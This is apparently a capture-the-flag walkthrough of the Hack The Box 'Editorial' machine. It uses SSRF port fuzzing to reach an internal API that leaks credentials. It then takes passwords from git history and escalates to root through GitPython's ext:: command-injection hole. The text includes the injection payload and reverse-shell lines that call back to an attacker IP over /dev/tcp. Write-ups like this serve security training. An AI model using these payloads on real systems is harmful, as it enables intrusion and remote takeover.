Nmap
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-07 20:20 +08
Nmap scan report for 10.10.11.20
Host is up (0.24s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 0d:ed:b2:9c:e2:53:fb:d4:c8:c1:19:6e:75:80:d8:64 (ECDSA)
|_ 256 0f:b9:a7:51:0e:00:d5:7b:5b:7c:5f:bf:2b:ed:53:a0 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://editorial.htb
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.72 seconds
There are only 2 ports open.
Port 80 Enumeration
Browsing
From Nmap, we know that the domain is editorial.htb
so we add it to /etc/hosts
.
http://editorial.htb/
The main page is mostly some random content.
http://editorial.htb/upload
The
Publish with us
link in the menu brings us to a form.
Directory Busting
Directory busting using ffuf
, feroxbuster
and gobuster
didn’t return anything we had already seen from browsing except maybe for some static files.
/upload (Status: 200) [Size: 7140]
/about (Status: 200) [Size: 2939]
200 GET 210l 537w 7140c http://editorial.htb/upload
200 GET 72l 232w 2939c http://editorial.htb/about
302 GET 5l 22w 201c http://editorial.htb/upload-cover => http://editorial.htb/upload
200 GET 81l 467w 28535c http://editorial.htb/static/images/unsplash_photo_1630734277837_ebe62757b6e0.jpeg
200 GET 7l 2189w 194901c http://editorial.htb/static/css/bootstrap.min.css
200 GET 4780l 27457w 2300540c http://editorial.htb/static/images/pexels-min-an-694740.jpg
200 GET 177l 589w 8577c http://editorial.htb/
200 GET 10938l 65137w 4902042c http://editorial.htb/static/images/pexels-janko-ferlic-590493.jpg
Burp
Let’s analyse the form we found while browsing earlier using Burp.
/upload
Book name (bookname) and Contact Phone (phone) fields are required for submission.
Nothing interesting here.
More Testing
When specifying the Cover URL (or bookurl field as seen in POST request), the response we get is different.
I hosted a .png file using python http.server and then specified its URL in the bookurl field and then clicked the Preview button on the right.
The file gets accessed by the web app.
Looking at Burp history, the Preview button sends out a POST request to
/upload-cover
and then returns the path of a static file which I assume would be the file I hosted.
However, when I tried to access the file seemingly uploaded, it’s not found.
I tried specifying the image in the file upload form.
This time, when browsing the URL provided in the response I get a download of the static file and when opened in a image viewer is the actual image that I specified earlier.
Looking back at the Burp history, right after sending the POST request, the application will follow up with a GET request for the static file which when rendered is indeed the image that I hosted on the python http.server.
This indicates that the web app will briefly reveal the content of any URL that I specify in the form of a static file before deleting it.
localhost
I tried specifying the localhost IP in the bookurl field to see if I can get anything on the target machine.
However, the request hanged for about 20 seconds and then followed up with a GET request which did not return anything but an error splash image of some sort.
I tried again by specifying the port but it didn’t even follow up with a GET request.
Fuzzing Ports with ffuf
I thought it was weird that there was a difference in how the web app responded so I decided to try all the ports to see if I find anything.
I copied the POST request into a file and then created a wordlist consisting of all 65535 ports.
echo -n "$(seq 0 65535)" > allports.txt
I used ffuf
to perform the fuzzing.
ffuf -u http://editorial.htb/upload-cover -request upload.req -ac -w allports.txt
NOTE: Since the upload.req file already contains the URL, I thought I didn’t need to specify it using the -u flag. Without it, the command ran but didn’t produce any results. After running it again with -u, I got some results.
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : POST
:: URL : http://editorial.htb/upload-cover
:: Wordlist : FUZZ: /home/hans/Documents/HTB/Editorial/1-enum/1-external/2-web/allports.txt
:: Header : Accept-Encoding: gzip, deflate, br
:: Header : Origin: http://editorial.htb
:: Header : Connection: close
:: Header : Host: editorial.htb
:: Header : Accept-Language: en-US,en;q=0.5
:: Header : Content-Type: multipart/form-data; boundary=---------------------------15647386475396121773132847897
:: Header : Referer: http://editorial.htb/upload
:: Header : Priority: u=0
:: Header : User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:132.0) Gecko/20100101 Firefox/132.0
:: Header : Accept: */*
:: Data : -----------------------------15647386475396121773132847897
Content-Disposition: form-data; name="bookurl"
http://127.0.0.1:FUZZ/
-----------------------------15647386475396121773132847897
Content-Disposition: form-data; name="bookfile"; filename=""
Content-Type: application/octet-stream
-----------------------------15647386475396121773132847897--
:: Follow redirects : false
:: Calibration : true
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
5000 [Status: 200, Size: 51, Words: 1, Lines: 1, Duration: 270ms]
:: Progress: [65536/65536] :: Job [1/1] :: 79 req/sec :: Duration: [0:14:08] :: Errors: 2 ::
Enumerating 127.0.0.1:5000
Sending the POST request manually in Burp, I get some json
in response:
cat port5000.json | jq .
I copied the response body into a file and used jq
to prettify it so that it so more readable.
can also use any online json formatter.
API Endpoints
{
"messages": [
{
"promotions": {
"description": "Retrieve a list of all the promotions in our library.",
"endpoint": "/api/latest/metadata/messages/promos",
"methods": "GET"
}
},
{
"coupons": {
"description": "Retrieve the list of coupons to use in our library.",
"endpoint": "/api/latest/metadata/messages/coupons",
"methods": "GET"
}
},
{
"new_authors": {
"description": "Retrieve the welcome message sended to our new authors.",
"endpoint": "/api/latest/metadata/messages/authors",
"methods": "GET"
}
},
{
"platform_use": {
"description": "Retrieve examples of how to use the platform.",
"endpoint": "/api/latest/metadata/messages/how_to_use_platform",
"methods": "GET"
}
}
],
"version": [
{
"changelog": {
"description": "Retrieve a list of all the versions and updates of the api.",
"endpoint": "/api/latest/metadata/changelog",
"methods": "GET"
}
},
{
"latest": {
"description": "Retrieve the last version of api.",
"endpoint": "/api/latest/metadata",
"methods": "GET"
}
}
]
}
Seems like a list API endpoints. With this we can enumerate the endpoints.
Out of all the endpoints, only 3 were found to be interesting.
http://127.0.0.1:5000/api/latest/metadata/messages/coupons
[
{
"2anniversaryTWOandFOURread4": {
"contact_email_2": "[email protected]",
"valid_until": "12/02/2024"
}
},
{
"frEsh11bookS230": {
"contact_email_2": "[email protected]",
"valid_until": "31/11/2023"
}
}
]
2anniversaryTWOandFOURread4
frEsh11bookS230
These 2 look like passwords.
http://127.0.0.1:5000/api/latest/metadata/messages/authors
{
"template_mail_message": "Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: dev\nPassword: dev080217_devAPI!@\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, Editorial Tiempo Arriba Team."
}
Here we find creds for dev
.
Creds for dev
:
dev080217_devAPI!@
http://127.0.0.1:5000/api/latest/metadata/changelog
[
{
"1": {
"api_route": "/api/v1/metadata/",
"contact_email_1": "[email protected]",
"contact_email_2": "[email protected]",
"editorial": "Editorial El Tiempo Por Arriba"
}
},
{
"1.1": {
"api_route": "/api/v1.1/metadata/",
"contact_email_1": "[email protected]",
"contact_email_2": "[email protected]",
"editorial": "Ed Tiempo Arriba"
}
},
{
"1.2": {
"contact_email_1": "[email protected]",
"contact_email_2": "[email protected]",
"editorial": "Editorial Tiempo Arriba",
"endpoint": "/api/v1.2/metadata/"
}
},
{
"2": {
"contact_email": "[email protected]",
"editorial": "Editorial Tiempo Arriba",
"endpoint": "/api/v2/metadata/"
}
}
]
Some email addresses here.
Shell as dev
Using the credentials we found at earlier, we can SSH in. And we find the user flag.
% ssh [email protected]
The authenticity of host 'editorial.htb (10.10.11.20)' can't be established.
ED25519 key fingerprint is SHA256:YR+ibhVYSWNLe4xyiPA0g45F4p1pNAcQ7+xupfIR70Q.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'editorial.htb' (ED25519) to the list of known hosts.
[email protected]'s password:
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-112-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Fri Nov 8 07:19:31 AM UTC 2024
System load: 0.2
Usage of /: 62.2% of 6.35GB
Memory usage: 13%
Swap usage: 0%
Processes: 224
Users logged in: 0
IPv4 address for eth0: 10.10.11.20
IPv6 address for eth0: dead:beef::250:56ff:feb0:61e1
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Fri Nov 8 04:19:23 2024 from 10.10.14.11
dev@editorial:~$ cat user.txt
bd417e1ca98fad2acbfab2aa934457d8
Enumerate Machine
A quick grep to find users with shell:
cat /etc/passwd | grep -Ev "false|nologin|sync"
or
cat /etc/passwd | grep "sh$"
root❌0:0:root:/root:/bin/bash
prod❌1000:1000:Alirio Acosta:/home/prod:/bin/bash
dev❌1001:1001::/home/dev:/bin/bash
git
There is an apps
directory in dev
’s home directory and inside it there’s a .git
directory.
Using git log --oneline
to briefly see the commits, we see a commit that downgrades prod to dev.
We can then see the changes made between the 2 commits using git diff
.
Fortunately for us, we found credentials for the
prod
user. So we immediately switch to it using su prod
.
Creds for prod
:
080217_Producti0n_2023!@
sudo -l
Matching Defaults entries for prod on editorial:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User prod may run the following commands on editorial:
(root) /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py *
Looking at the sudoers file, we can use prod to run a python script as root
.
clone_prod_change.py
prod@editorial:/opt/internal_apps/clone_changes$ cat clone_prod_change.py
#!/usr/bin/python3
import os
import sys
from git import Repo
os.chdir('/opt/internal_apps/clone_changes')
url_to_clone = sys.argv[1]
r = Repo.init('', bare=True)
r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])
For a simple script, it is using a peculiar library, git
.
I tried searching for an exploit that uses the import Repo and found one RCE that matches this script quite closely but it needs GitPython before 3.1.30
Coincidentally, the GitPython in the machine meets the requirement of the exploit.
POC from the article:
from git import Repo r = Repo.init('', bare=True) r.clone_from('ext::sh -c touch% /tmp/pwned', 'tmp', multi_options=["-c protocol.ext.allow=always"])
Snippet of clone_prod_change.py:
...<trunctated>
url_to_clone = sys.argv[1]
r = Repo.init('', bare=True)
r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])
Looking at the above, we can simply inject the command in url_to_clone
since it’s taken in as an argument.
Exploit
Unmodified POC
It ran with an error but the file is created and owned by root:
prod@editorial:/opt/internal_apps/clone_changes$ ls -l /tmp/pwned
-rw-r--r-- 1 root root 0 Nov 12 03:56 /tmp/pwned
Modified POC
So the malicious URL input i.e. ext::sh -c touch% /tmp/pwned
allows the python script to create /tmp/pwned as root.
This means it executes sh
and runs the touch
command as root.
sh Reverse Shell
Switching the touch
command to a reverse shell one-liner:
ext::sh -i >& /dev/tcp/10.10.14.3/8888 0>&1
Same error as the touch
command, however, my nc listener doesn’t catch anything.
Bash Script
This time I’ll try to create a reverse shell bash script and then use ext::sh -c <path to bash script>
as the URL input of the python script.
#!/bin/bash
sh -i >& /dev/tcp/10.10.14.3/8888 0>&1
don’t forget to chmod +x
The python script pauses when executed and my nc listener catches a shell:
root flag
e9da806c7ea000eaa75913046df6e456